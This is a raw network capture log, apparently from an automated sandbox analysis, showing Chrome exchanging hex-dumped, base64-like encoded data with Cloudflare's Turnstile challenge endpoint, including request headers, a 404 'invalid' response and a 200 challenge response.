2024-11-26 05:40:39 UTC	1039	IN	Data Raw: 73 59 74 38 72 37 71 6e 70 62 33 43 77 71 58 48 77 4b 6d 2b 79 59 2b 2b 6f 36 6d 4d 77 62 65 74 6b 4d 58 4d 78 71 6a 4a 6d 63 36 64 73 74 48 4f 32 73 65 67 35 39 79 37 76 65 48 6d 35 73 75 72 32 64 36 74 34 61 33 4c 73 64 47 30 75 76 6a 58 74 2f 72 5a 30 4d 2f 35 76 4f 37 34 77 2b 48 41 2b 2f 58 72 78 2f 58 6b 79 51 7a 4c 79 41 45 46 7a 63 77 4d 43 41 72 6a 2b 51 67 53 32 2f 45 63 47 66 4d 4f 33 77 63 6a 34 53 54 66 46 68 55 48 35 78 72 6f 49 69 4c 37 43 69 41 6f 47 41 59 71 4c 51 34 57 4d 6a 62 37 46 6a 77 30 2f 68 77 41 4a 78 30 43 51 67 42 47 42 69 6b 46 42 78 6f 74 4d 69 41 4b 45 54 4e 58 51 42 63 58 4b 79 30 71 4b 79 35 4f 57 6c 52 58 4e 31 34 67 4a 7a 39 56 49 79 73 33 52 69 68 64 57 56 6b 72 58 69 5a 48 51 7a 4a 35 62 48 42 54 62 47 38 30 63 30 38 Data Ascii: sYt8r7qnpb3CwqXHwKm+yY++o6mMwbetkMXMxqjJmc6dstHO2seg59y7veHm5sur2d6t4a3LsdG0uvjXt/rZ0M/5vO74w+HA+/Xrx/XkyQzLyAEFzcwMCArj+QgS2/EcGfMO3wcj4STfFhUH5xroIiL7CiAoGAYqLQ4WMjb7Fjw0/hwAJx0CQgBGBikFBxotMiAKETNXQBcXKy0qKy5OWlRXN14gJz9VIys3RihdWVkrXiZHQzJ5bHBTbG80c08
2024-11-26 05:40:39 UTC	1369	IN	Data Raw: 2b 78 38 6d 4c 77 63 7a 4e 71 4d 37 4e 71 4b 7a 45 33 4b 65 57 73 61 6a 50 73 5a 6e 53 34 61 58 58 76 62 6a 66 35 4c 6e 6f 78 4c 72 73 77 36 6d 79 76 4f 79 32 79 38 50 51 78 2b 58 61 76 50 54 7a 36 76 6e 42 37 75 7a 38 35 38 62 32 39 4e 7a 6e 76 67 59 4c 7a 2b 62 66 7a 74 48 73 43 66 66 6a 35 51 6f 44 38 52 62 76 32 51 2f 77 36 68 33 63 2f 66 45 69 49 76 44 32 4b 77 48 70 4b 2f 7a 71 36 77 33 36 4b 41 33 79 4a 69 34 51 47 77 55 54 4e 6a 41 51 48 67 30 41 4e 52 6f 31 50 68 41 41 42 54 73 58 4b 44 73 71 41 53 59 66 48 6b 59 6f 4d 79 5a 44 54 43 51 78 52 6c 59 6c 4d 6b 39 61 50 79 38 68 55 68 63 63 53 43 42 5a 4f 47 74 4d 58 6d 34 35 58 32 73 39 55 47 5a 66 64 79 35 74 64 55 64 74 56 56 63 30 62 55 73 33 50 54 35 75 68 55 52 46 5a 6b 68 49 52 57 64 46 57 6b Data Ascii: +x8mLwczNqM7NqKzE3KeWsajPsZnS4aXXvbjf5LnoxLrsw6myvOy2y8PQx+XavPTz6vnB7uz858b29NznvgYLz+bfztHsCffj5QoD8Rbv2Q/w6h3c/fEiIvD2KwHpK/zq6w36KA3yJi4QGwUTNjAQHg0ANRo1PhAABTsXKDsqASYfHkYoMyZDTCQxRlYlMk9aPy8hUhccSCBZOGtMXm45X2s9UGZfdy5tdUdtVVc0bUs3PT5uhURFZkhIRWdFWk
2024-11-26 05:40:39 UTC	1369	IN	Data Raw: 74 37 43 35 70 37 4f 36 76 62 4b 2f 71 71 33 58 6f 61 32 36 6e 36 62 45 73 64 76 6d 74 74 53 71 72 4c 6a 74 71 4f 44 76 34 76 50 67 78 36 37 6d 36 2f 75 37 31 62 7a 65 76 38 76 36 31 2b 57 37 38 2f 58 54 78 67 48 46 39 64 58 74 42 4d 72 51 46 41 44 6e 37 65 6a 6a 37 50 67 4a 30 2b 2f 57 39 4f 6e 38 47 2f 77 55 37 2b 45 6a 43 43 49 4b 33 42 30 6c 43 66 63 61 43 69 73 62 4c 51 51 32 44 79 38 4d 41 77 73 5a 42 68 41 74 45 43 38 2b 41 77 49 78 41 51 51 5a 4f 68 6f 6f 52 6a 30 4a 51 69 67 6f 48 31 41 79 56 56 63 58 4c 53 39 61 47 6c 77 33 4f 53 74 65 4c 53 77 69 48 45 59 79 56 6d 4d 6b 5a 43 74 56 54 47 4a 4d 53 45 31 41 62 6b 78 64 59 30 46 69 4b 30 64 77 66 48 64 39 61 47 45 36 54 6b 4e 4f 62 30 42 31 59 46 31 31 59 55 79 4b 57 45 2b 4c 5a 58 43 4a 6a 59 69 Data Ascii: t7C5p7O6vbK/qq3Xoa26n6bEsdvmttSqrLjtqODv4vPgx67m6/u71bzev8v61+W78/XTxgHF9dXtBMrQFADn7ejj7PgJ0+/W9On8G/wU7+EjCCIK3B0lCfcaCisbLQQ2Dy8MAwsZBhAtEC8+AwIxAQQZOhooRj0JQigoH1AyVVcXLS9aGlw3OSteLSwiHEYyVmMkZCtVTGJMSE1AbkxdY0FiK0dwfHd9aGE6TkNOb0B1YF11YUyKWE+LZXCJjYi
2024-11-26 05:40:39 UTC	1369	IN	Data Raw: 49 2b 73 76 63 72 59 30 4c 6a 44 33 2b 44 42 31 71 48 49 36 61 6a 71 78 4e 65 37 37 4b 72 54 79 4f 54 78 35 39 4c 54 31 38 50 6c 33 64 4c 33 37 39 44 5a 7a 74 48 56 34 63 48 36 2b 76 73 47 36 66 34 48 35 67 44 6f 79 2b 51 46 39 41 59 56 42 51 2f 6f 34 77 72 7a 48 68 7a 62 44 69 51 61 33 4e 66 6b 2f 74 2f 70 2f 52 58 70 41 78 72 6c 38 4f 50 6b 43 66 77 46 44 66 49 42 43 78 6b 46 4c 4f 38 70 2b 43 41 4d 4d 55 49 6c 50 30 45 7a 4b 68 78 4b 4a 55 41 6f 43 30 78 49 43 79 46 4b 45 55 49 50 47 41 74 4c 4c 6a 78 57 4d 53 39 55 49 46 30 56 4d 45 4e 6c 4d 7a 55 30 53 6c 78 65 54 6d 4e 72 62 47 31 45 4b 69 38 39 62 54 59 77 52 46 46 49 61 33 4a 76 65 33 78 64 56 6c 39 38 51 6e 5a 30 56 6f 68 70 5a 6d 79 4f 59 56 74 35 65 56 75 55 54 57 6c 54 62 32 5a 69 61 32 6c 53 Data Ascii: I+svcrY0LjD3+DB1qHI6ajqxNe77KrTyOTx59LT18Pl3dL379DZztHV4cH6+vsG6f4H5gDoy+QF9AYVBQ/o4wrzHhzbDiQa3Nfk/t/p/RXpAxrl8OPkCfwFDfIBCxkFLO8p+CAMMUIlP0EzKhxKJUAoC0xICyFKEUIPGAtLLjxWMS9UIF0VMENlMzU0SlxeTmNrbG1EKi89bTYwRFFIa3Jve3xdVl98QnZ0VohpZmyOYVt5eVuUTWlTb2Zia2lS
2024-11-26 05:40:39 UTC	1369	IN	Data Raw: 57 34 74 61 2b 2b 36 4f 58 70 78 73 6a 67 7a 74 7a 51 34 37 47 38 31 63 72 48 37 74 6e 74 30 39 4c 64 38 4d 2f 67 34 66 54 74 33 75 4c 34 34 39 34 46 31 67 49 45 34 76 6e 57 7a 68 44 37 35 4d 77 51 41 4d 34 4b 35 77 73 50 45 68 7a 32 31 2f 6f 59 46 42 38 63 41 50 6a 38 4b 43 51 6e 36 66 58 71 35 76 6f 4e 34 6a 44 75 4b 76 77 73 4b 50 58 71 4e 2f 67 4c 46 7a 38 72 4d 78 77 4e 46 67 30 64 42 53 49 62 4f 77 63 37 4a 30 30 4e 51 43 56 49 44 67 78 54 54 6b 30 68 46 56 67 75 58 43 64 61 56 31 4d 33 57 46 6b 31 4f 32 45 6c 50 53 68 68 53 30 45 73 62 47 68 6e 49 6e 42 44 62 45 4e 77 4e 45 46 50 65 45 73 31 54 58 55 38 4f 56 56 31 65 33 4e 6c 66 31 71 44 51 49 57 45 69 32 32 4a 53 33 78 6d 69 6e 75 48 64 59 31 6f 53 5a 53 5a 56 6c 68 31 6a 6c 75 66 6d 35 61 62 62 Data Ascii: W4ta++6OXpxsjgztzQ47G81crH7tnt09Ld8M/g4fTt3uL4494F1gIE4vnWzhD75MwQAM4K5wsPEhz21/oYFB8cAPj8KCQn6fXq5voN4jDuKvwsKPXqN/gLFz8rMxwNFg0dBSIbOwc7J00NQCVIDgxTTk0hFVguXCdaV1M3WFk1O2ElPShhS0EsbGhnInBDbENwNEFPeEs1TXU8OVV1e3Nlf1qDQIWEi22JS3xminuHdY1oSZSZVlh1jlufm5abb
2024-11-26 05:40:39 UTC	1369	IN	Data Raw: 54 73 2b 6a 57 37 76 43 6d 78 4d 32 37 38 4c 4f 76 7a 76 54 79 79 63 50 74 75 2f 71 34 2b 2b 37 37 31 62 62 64 39 38 54 51 34 64 4c 57 31 77 67 49 78 74 44 5a 32 74 33 64 42 41 33 72 47 51 67 59 35 39 77 63 31 77 30 67 48 4f 7a 66 49 76 6a 39 35 69 54 39 39 4f 6b 71 44 75 44 73 4b 78 7a 38 43 7a 48 7a 48 2b 2f 71 4e 44 45 51 43 41 59 61 46 67 6b 61 4e 51 7a 36 44 68 63 54 2b 69 49 38 43 55 77 6c 4f 53 56 47 45 54 77 63 55 54 39 58 57 51 38 74 4e 69 52 5a 48 42 67 33 58 56 73 79 4c 46 59 6b 59 79 46 6b 56 32 51 2b 4f 44 5a 74 4f 54 6c 47 4c 6a 77 39 50 6d 41 30 4c 33 52 57 4e 6b 68 66 4e 55 35 2f 56 58 64 44 66 7a 79 48 50 34 64 64 68 30 78 2b 54 49 65 50 6a 32 4a 46 55 70 43 50 64 6c 56 69 63 56 46 54 6e 59 79 64 64 47 70 32 58 6d 31 74 62 71 42 6b 57 35 Data Ascii: Ts+jW7vCmxM278LOvzvTyycPtu/q4++771bbd98TQ4dLW1wgIxtDZ2t3dBA3rGQgY59wc1w0gHOzfIvj95iT99OkqDuDsKxz8CzHzH+/qNDEQCAYaFgkaNQz6DhcT+iI8CUwlOSVGETwcUT9XWQ8tNiRZHBg3XVsyLFYkYyFkV2Q+ODZtOTlGLjw9PmA0L3RWNkhfNU5/VXdDfzyHP4ddh0x+TIePj2JFUpCPdlVicVFTnYyddGp2Xm1tbqBkW5
2024-11-26 05:40:39 UTC	1369	IN	Data Raw: 37 38 61 39 76 50 4b 78 77 4d 4c 52 38 4d 66 46 78 64 62 49 79 4f 2f 65 7a 4c 72 7a 7a 74 44 51 43 4e 37 56 31 4e 58 70 78 64 6e 70 35 63 58 63 33 66 62 6b 34 65 45 4e 36 4f 58 6c 38 64 58 6f 31 39 33 72 37 4e 76 6c 38 66 45 59 49 66 6a 32 42 76 62 34 35 69 44 36 42 76 7a 39 43 75 30 42 4b 41 4d 4b 42 52 59 4f 38 66 5a 41 43 78 45 50 48 68 37 39 45 54 68 42 46 68 56 4c 44 51 59 48 55 44 4d 68 48 56 51 76 4a 69 46 59 4c 79 55 54 57 78 34 74 4b 54 6f 37 4c 69 34 75 51 7a 6f 78 51 6b 49 65 49 32 78 48 4f 6a 6c 76 4d 6b 45 39 50 6d 31 43 51 6e 63 32 53 6b 56 73 63 55 35 4b 57 6c 64 4e 54 31 35 58 57 54 39 34 55 31 64 57 5a 6d 39 59 52 30 68 53 59 6c 36 54 55 6d 5a 50 6d 47 74 6b 5a 57 5a 7a 61 31 65 67 6a 46 5a 75 66 6e 64 30 63 34 4b 4c 66 6e 5a 32 65 33 78 Data Ascii: 78a9vPKxwMLR8MfFxdbIyO/ezLrzztDQCN7V1NXpxdnp5cXc3fbk4eEN6OXl8dXo193r7Nvl8fEYIfj2Bvb45iD6Bvz9Cu0BKAMKBRYO8fZACxEPHh79EThBFhVLDQYHUDMhHVQvJiFYLyUTWx4tKTo7Li4uQzoxQkIeI2xHOjlvMkE9Pm1CQnc2SkVscU5KWldNT15XWT94U1dWZm9YR0hSYl6TUmZPmGtkZWZza1egjFZufnd0c4KLfnZ2e3x
2024-11-26 05:40:39 UTC	1369	IN	Data Raw: 2f 48 6d 37 36 33 78 78 62 66 61 74 76 67 42 32 41 4b 37 2f 76 47 2b 39 39 58 48 42 75 44 45 7a 41 62 6f 7a 64 7a 4b 79 77 73 53 46 73 38 54 42 74 49 4d 35 75 66 53 44 39 38 55 37 78 44 78 35 42 34 42 35 78 54 73 2f 67 55 71 4a 52 38 4e 44 79 34 48 4c 4f 34 74 4e 7a 44 74 4d 67 62 33 4b 2f 59 35 2b 52 6b 36 51 77 51 30 46 43 73 34 2f 55 42 4d 43 52 67 44 53 55 51 47 53 51 78 4d 43 6b 30 69 46 44 30 54 56 56 45 31 56 56 38 67 54 44 42 48 50 68 70 62 61 43 55 30 48 32 56 73 49 6d 64 76 61 45 6c 6d 4d 32 46 43 63 6c 49 31 52 43 39 31 56 6a 4a 79 50 32 31 4f 66 6e 4e 38 4f 6e 70 48 64 56 57 47 5a 6b 6c 59 51 34 6d 4d 52 6f 5a 54 67 57 47 53 68 35 42 4f 6a 6c 75 4a 61 4a 70 36 58 57 78 58 6e 5a 78 61 6d 6d 65 56 64 4b 61 62 70 47 4b 69 62 36 42 71 72 6f 35 78 Data Ascii: /Hm763xxbfatvgB2AK7/vG+99XHBuDEzAbozdzKywsSFs8TBtIM5ufSD98U7xDx5B4B5xTs/gUqJR8NDy4HLO4tNzDtMgb3K/Y5+Rk6QwQ0FCs4/UBMCRgDSUQGSQxMCk0iFD0TVVE1VV8gTDBHPhpbaCU0H2VsImdvaElmM2FCclI1RC91VjJyP21OfnN8OnpHdVWGZklYQ4mMRoZTgWGSh5BOjluJaJp6XWxXnZxammeVdKabpGKib6Bqro5x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49751	104.18.94.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:41 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/2088253425:1732598676:xqCfkJoQHbGGAUFTOOA5ON0U9RX3BvZEBOmLZlWQOgA/8e878b3d8eb043b2/UiNY8q02fyLjpRtShWCy3wKR1xPb2nfEQvS60awUe30-1732599628-1.1.1.1-zHoXuppmkgJdM9e3Ttcf1kEL4s7BWOSQLHWM.2FlBgA.n9hPYeO41G_0ymgzZ9JD HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:41 UTC	379	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 05:40:41 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: I6XHMcLx2M2CC9qutWObv2d93wwlPoa9H8k=$PVzYdi80os80C4aw Server: cloudflare CF-RAY: 8e878b914871727a-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 05:40:41 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49752	104.18.95.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:44 UTC	1175	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/2088253425:1732598676:xqCfkJoQHbGGAUFTOOA5ON0U9RX3BvZEBOmLZlWQOgA/8e878b3d8eb043b2/UiNY8q02fyLjpRtShWCy3wKR1xPb2nfEQvS60awUe30-1732599628-1.1.1.1-zHoXuppmkgJdM9e3Ttcf1kEL4s7BWOSQLHWM.2FlBgA.n9hPYeO41G_0ymgzZ9JD HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34036 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: UiNY8q02fyLjpRtShWCy3wKR1xPb2nfEQvS60awUe30-1732599628-1.1.1.1-zHoXuppmkgJdM9e3Ttcf1kEL4s7BWOSQLHWM.2FlBgA.n9hPYeO41G_0ymgzZ9JD sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d77oe/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:44 UTC	16384	OUT	Data Raw: 76 5f 38 65 38 37 38 62 33 64 38 65 62 30 34 33 62 32 3d 6a 79 36 53 47 66 70 39 63 70 36 66 79 46 69 64 6d 64 38 64 61 72 74 70 32 6c 70 4f 64 53 73 25 32 62 53 33 36 64 4e 64 50 53 43 53 69 79 36 64 39 42 64 68 66 64 61 52 53 70 24 69 4f 64 59 38 4f 66 64 74 7a 64 4f 54 57 59 38 6d 64 76 4c 61 6d 71 64 69 36 64 5a 41 46 36 66 67 64 66 4c 64 67 64 6c 4a 42 78 63 59 64 69 4c 64 67 6a 34 52 70 5a 62 64 33 59 71 64 43 72 44 65 34 64 35 47 66 74 71 4d 64 6b 4e 4e 53 58 64 51 50 61 6d 38 74 53 61 5a 39 30 4f 4e 64 4d 59 77 74 35 36 64 41 2b 4d 38 64 66 59 38 79 32 74 42 31 5a 46 70 6d 49 70 4e 54 6a 74 71 4b 24 63 64 46 5a 36 64 61 53 66 46 53 55 36 72 32 6d 51 55 52 2b 2b 34 76 4a 49 6d 64 4d 63 2b 62 55 6c 6a 65 51 4a 65 79 53 47 50 52 53 72 72 61 4a 78 61 Data Ascii: v_8e878b3d8eb043b2=jy6SGfp9cp6fyFidmd8dartp2lpOdSs%2bS36dNdPSCSiy6d9BdhfdaRSp$iOdY8OfdtzdOTWY8mdvLamqdi6dZAF6fgdfLdgdlJBxcYdiLdgj4RpZbd3YqdCrDe4d5GftqMdkNNSXdQPam8tSaZ90ONdMYwt56dA+M8dfY8y2tB1ZFpmIpNTjtqK$cdFZ6daSfFSU6r2mQUR++4vJImdMc+bUljeQJeySGPRSrraJxa
2024-11-26 05:40:44 UTC	16384	OUT	Data Raw: 32 64 35 7a 72 64 6c 64 53 7a 4a 52 64 4e 64 64 66 58 51 64 72 63 33 6a 4a 59 64 55 52 55 64 46 63 64 44 64 66 4c 72 36 70 43 52 72 62 61 35 52 38 64 51 6f 65 6f 7a 43 52 41 4c 61 33 2b 74 64 57 64 61 79 64 52 64 71 74 70 36 64 55 41 6a 4f 44 58 35 6d 64 74 64 6c 63 70 39 64 6b 53 61 74 70 76 64 44 53 46 52 61 38 64 6c 4b 46 35 64 62 64 48 78 70 64 64 57 64 61 52 46 78 64 33 4c 6e 4c 70 64 64 31 64 77 4c 70 34 64 56 64 6a 53 72 61 38 65 64 4d 63 55 6d 68 52 64 72 44 75 76 70 4c 53 41 64 61 50 53 36 4d 64 4e 72 6f 7a 76 64 31 64 61 4c 66 46 53 30 64 61 52 64 76 4c 55 52 36 74 66 52 64 41 53 36 35 4d 69 5a 77 64 44 75 7a 30 63 69 30 74 55 61 72 64 63 56 31 41 70 61 64 6e 52 72 63 66 4c 53 41 64 64 24 52 2d 78 76 48 44 79 70 63 30 69 4a 2d 53 4f 67 37 72 64 Data Ascii: 2d5zrdldSzJRdNddfXQdrc3jJYdURUdFcdDdfLr6pCRrba5R8dQoeozCRALa3+tdWdaydRdqtp6dUAjODX5mdtdlcp9dkSatpvdDSFRa8dlKF5dbdHxpddWdaRFxd3LnLpdd1dwLp4dVdjSra8edMcUmhRdrDuvpLSAdaPS6MdNrozvd1daLfFS0daRdvLUR6tfRdAS65MiZwdDuz0ci0tUardcV1ApadnRrcfLSAdd$R-xvHDypc0iJ-SOg7rd
2024-11-26 05:40:44 UTC	1268	OUT	Data Raw: 64 57 32 5a 75 70 50 6b 68 51 47 53 50 34 6f 59 64 55 64 57 24 32 78 64 62 52 55 75 65 43 56 6c 6f 57 66 72 43 4b 7a 35 53 4d 24 33 61 54 6e 43 65 67 73 62 77 53 51 50 34 79 53 6d 52 48 4c 74 52 75 6b 53 6e 48 2b 30 4c 6d 2b 62 77 73 5a 63 75 4d 4e 6b 72 65 64 65 50 4f 64 72 24 52 24 4e 42 35 24 4c 44 67 64 70 66 6c 63 4b 79 4f 68 79 44 31 4c 44 64 6a 67 76 7a 32 65 64 41 35 30 79 73 6b 74 4d 5a 55 78 43 67 64 32 79 63 62 70 41 39 6f 6a 37 72 64 67 49 51 30 64 53 32 68 64 69 4e 24 35 62 4f 41 35 4e 6a 69 62 41 38 2d 6d 64 57 59 4c 64 6e 53 44 5a 4f 37 6c 4c 67 4f 74 41 77 42 34 36 72 36 4e 35 64 6e 52 44 59 70 42 52 39 69 66 4d 6c 7a 7a 33 36 56 6c 66 66 68 79 53 72 70 30 62 4b 6b 51 33 59 70 6d 31 2d 47 50 53 70 71 63 39 71 74 64 33 62 6d 4a 64 66 4d 43 Data Ascii: dW2ZupPkhQGSP4oYdUdW$2xdbRUueCVloWfrCKz5SM$3aTnCegsbwSQP4ySmRHLtRukSnH+0Lm+bwsZcuMNkredePOdr$R$NB5$LDgdpflcKyOhyD1LDdjgvz2edA50ysktMZUxCgd2ycbpA9oj7rdgIQ0dS2hdiN$5bOA5NjibA8-mdWYLdnSDZO7lLgOtAwB46r6N5dnRDYpBR9ifMlzz36VlffhySrp0bKkQ3Ypm1-GPSpqc9qtd3bmJdfMC
2024-11-26 05:40:45 UTC	286	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 05:40:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4556 Connection: close cf-chl-out: V1vNcJ2GleQQlF7n/LVe0uRZbi+0apl1caFSoQaU7Hg+n7Ux3glc+KJMkfT+PYplsPWgeIQ56KizpPwlzcdIXQFA55pXdDDWbTw0FBdJ/LOZ4pkhQOv7lL4=$wLSU5jNj5mFBaMjM
2024-11-26 05:40:45 UTC	1247	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 63 77 65 42 32 6a 32 64 48 63 53 50 50 75 6b 69 49 76 64 49 71 66 52 44 6e 4d 7a 35 48 41 5a 79 62 67 32 31 43 5a 70 41 7a 78 37 66 36 57 76 52 51 79 2b 5a 33 6c 45 68 6a 2f 4e 76 72 4c 41 77 75 76 46 6e 78 2b 48 73 61 4b 79 70 6c 51 34 6a 74 4e 72 62 66 6c 46 53 56 37 46 7a 6b 6d 68 69 66 36 30 52 49 42 53 58 37 7a 67 4a 4e 41 53 65 6c 6d 6b 77 51 37 78 78 38 72 65 46 56 36 68 62 33 32 75 57 35 35 38 58 47 39 56 6c 4e 4b 52 47 63 54 6c 55 36 6f 72 57 48 66 4e 4e 37 47 57 61 65 6b 6b 4b 56 2f 55 35 44 65 50 7a 77 45 52 7a 62 7a 34 31 42 58 53 45 48 79 61 31 75 63 79 6e 41 35 56 4e 6a 4f 38 6a 76 6b 37 50 67 6c 6d 39 72 5a 47 45 70 48 6b 79 63 4d 42 59 70 43 2f 76 51 7a 6a 59 69 37 67 53 6f 5a 76 4d 46 37 61 4c 53 Data Ascii: cf-chl-out-s: cweB2j2dHcSPPukiIvdIqfRDnMz5HAZybg21CZpAzx7f6WvRQy+Z3lEhj/NvrLAwuvFnx+HsaKyplQ4jtNrbflFSV7Fzkmhif60RIBSX7zgJNASelmkwQ7xx8reFV6hb32uW558XG9VlNKRGcTlU6orWHfNN7GWaekkKV/U5DePzwERzbz41BXSEHya1ucynA5VNjO8jvk7Pglm9rZGEpHkycMBYpC/vQzjYi7gSoZvMF7aLS
2024-11-26 05:40:45 UTC	1205	IN	Data Raw: 73 59 74 38 72 37 71 6e 70 62 33 43 77 71 58 48 77 4b 6d 2b 79 59 2b 2b 31 4d 6d 4e 6e 72 62 48 30 4e 44 4a 78 74 4b 2f 6d 4c 6a 57 6e 72 58 56 33 74 32 2f 6f 39 48 57 70 64 79 34 32 62 37 4f 76 4e 33 43 31 4b 2b 2b 73 65 4f 30 30 4e 58 4d 79 2f 57 34 31 2f 54 71 37 2f 62 38 37 74 33 6b 43 63 66 6a 78 2f 58 6b 79 51 7a 4e 44 2f 49 42 78 77 49 41 42 77 72 6a 2b 51 67 54 37 2f 6b 63 47 67 76 35 49 66 76 30 45 53 54 6e 46 2f 6f 59 36 4f 41 44 43 75 6a 74 49 68 41 72 47 41 59 53 4d 50 59 57 38 7a 58 37 50 44 49 37 4a 42 6f 68 48 42 55 6a 52 41 56 48 46 7a 67 4a 4f 79 73 50 43 51 55 6a 52 46 63 58 4e 7a 51 78 4c 52 6c 4a 48 6c 6f 32 53 69 45 5a 4c 31 63 34 49 56 56 69 59 53 6b 69 53 6d 63 68 51 47 4e 48 5a 56 56 78 64 30 74 33 51 6c 4a 56 58 48 78 4d 66 31 52 Data Ascii: sYt8r7qnpb3CwqXHwKm+yY++1MmNnrbH0NDJxtK/mLjWnrXV3t2/o9HWpdy42b7OvN3C1K++seO00NXMy/W41/Tq7/b87t3kCcfjx/XkyQzND/IBxwIABwrj+QgT7/kcGgv5Ifv0ESTnF/oY6OADCujtIhArGAYSMPYW8zX7PDI7JBohHBUjRAVHFzgJOysPCQUjRFcXNzQxLRlJHlo2SiEZL1c4IVViYSkiSmchQGNHZVVxd0t3QlJVXHxMf1R
2024-11-26 05:40:45 UTC	1369	IN	Data Raw: 44 39 48 53 78 42 53 4a 52 45 70 53 42 51 74 52 69 45 59 4a 54 4e 62 4d 43 30 37 4b 54 4d 32 49 47 49 2b 52 56 64 71 51 6a 31 73 4f 46 63 6f 4d 47 52 54 61 7a 52 6f 4d 30 6c 50 63 6d 52 44 55 58 5a 47 58 57 68 4a 51 57 77 36 4f 30 4f 48 4f 6e 35 7a 52 49 47 4f 59 47 32 52 6a 30 35 6d 58 59 74 2f 53 58 65 4e 56 32 35 70 6b 56 74 65 62 4a 35 71 63 6e 47 62 66 6e 46 6c 63 71 4a 6d 64 71 69 73 61 47 69 69 63 49 4a 2f 61 37 53 56 6c 4c 4b 43 6b 35 47 7a 66 58 69 76 74 37 75 76 77 72 65 58 66 70 61 2b 77 5a 6d 37 77 63 69 33 77 63 79 6c 79 38 58 55 76 70 54 5a 30 37 4c 45 70 39 4b 76 71 36 79 58 6f 65 4f 2b 32 4d 65 2b 73 2b 57 6e 75 61 76 6f 31 39 2b 71 36 50 44 52 71 38 44 74 36 2f 58 79 38 62 54 54 37 72 72 7a 75 50 58 61 77 4c 73 46 35 2f 66 79 2f 63 6a 49 Data Ascii: D9HSxBSJREpSBQtRiEYJTNbMC07KTM2IGI+RVdqQj1sOFcoMGRTazRoM0lPcmRDUXZGXWhJQWw6O0OHOn5zRIGOYG2Rj05mXYt/SXeNV25pkVtebJ5qcnGbfnFlcqJmdqisaGiicIJ/a7SVlLKCk5GzfXivt7uvwreXfpa+wZm7wci3wcyly8XUvpTZ07LEp9Kvq6yXoeO+2Me+s+Wnuavo19+q6PDRq8Dt6/Xy8bTT7rrzuPXawLsF5/fy/cjI
2024-11-26 05:40:45 UTC	1369	IN	Data Raw: 41 51 4e 68 42 41 4e 69 56 46 54 55 70 47 50 44 38 77 51 56 74 61 4c 44 6b 7a 56 54 34 70 55 32 64 6e 62 57 6c 74 51 6d 52 78 52 32 64 47 64 6c 64 70 53 46 51 32 64 6b 35 75 63 57 42 55 59 46 39 35 56 58 5a 35 66 46 70 36 51 6e 35 66 6a 6b 5a 2f 67 56 74 54 55 70 47 49 58 35 5a 33 59 6c 5a 72 6d 56 75 50 64 6c 71 41 6a 70 47 42 58 6d 4f 51 6c 49 69 4d 6c 35 70 6d 5a 34 71 4d 61 6f 43 6b 6f 70 4f 4a 64 5a 47 4a 6c 4c 53 50 70 34 71 62 76 38 4f 6a 76 62 71 44 6d 61 6e 42 6d 37 2b 6b 78 63 43 77 76 74 4b 53 6a 63 32 50 69 4b 62 45 6c 4e 62 51 78 4a 72 4b 76 4a 65 76 73 65 54 6b 34 70 33 6b 35 63 4f 6c 76 4b 75 2f 75 73 79 38 79 63 76 4c 7a 2b 58 57 37 38 72 49 31 63 66 7a 79 74 72 6e 79 64 6e 79 30 2f 33 53 76 66 37 57 34 41 72 72 43 2b 41 4f 2b 39 6e 6f 46 Data Ascii: AQNhBANiVFTUpGPD8wQVtaLDkzVT4pU2dnbWltQmRxR2dGdldpSFQ2dk5ucWBUYF95VXZ5fFp6Qn5fjkZ/gVtTUpGIX5Z3YlZrmVuPdlqAjpGBXmOQlIiMl5pmZ4qMaoCkopOJdZGJlLSPp4qbv8OjvbqDmanBm7+kxcCwvtKSjc2PiKbElNbQxJrKvJevseTk4p3k5cOlvKu/usy8ycvLz+XW78rI1cfzytrnydny0/3Svf7W4ArrC+AO+9noF
